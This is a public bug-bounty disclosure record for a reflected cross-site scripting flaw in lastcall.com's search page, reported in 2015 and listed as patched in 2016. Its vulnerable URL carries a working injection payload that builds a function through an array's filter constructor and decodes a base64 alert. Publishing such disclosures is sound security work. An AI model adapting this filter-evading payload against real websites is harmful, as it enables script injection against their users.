Lucene search

K
openbugbountyNopernikOBB:72629
HistoryJul 15, 2015 - 1:15 a.m.

lastcall.com XSS vulnerability

2015-07-1501:15:00
nopernik
www.openbugbounty.org
9
Vulnerable URL:
http://www.lastcall.com/search.jsp?Ntt=*/%22-%5B%5D%5B%22filter%22%5D%5B%22constructor%22%5D%28%20atob%28%22YWxlcnQoL3hzc3Bvc2VkLyk=%22%29%20%29%28%29;//Ash&N;=0
Details:
Description Value
Patched: Yes, at 30.01.2016
Latest check for patch: 30.01.2016 21:18 GMT
Vulnerability type: XSS
Vulnerability status: Publicly disclosed
Alexa Rank 10366
Google Pagerank 5
VIP website status: Yes
Check lastcall.com SSL connection: (Grade: A-)
Coordinated Disclosure Timeline:
Description Value
Vulnerability reported 15 July, 2015 01:15 GMT
Vulnerability existence verified and confirmed 15 July, 2015 01:18 GMT
Vulnerability patched by the website owner 30 January, 2016 21:18 GMT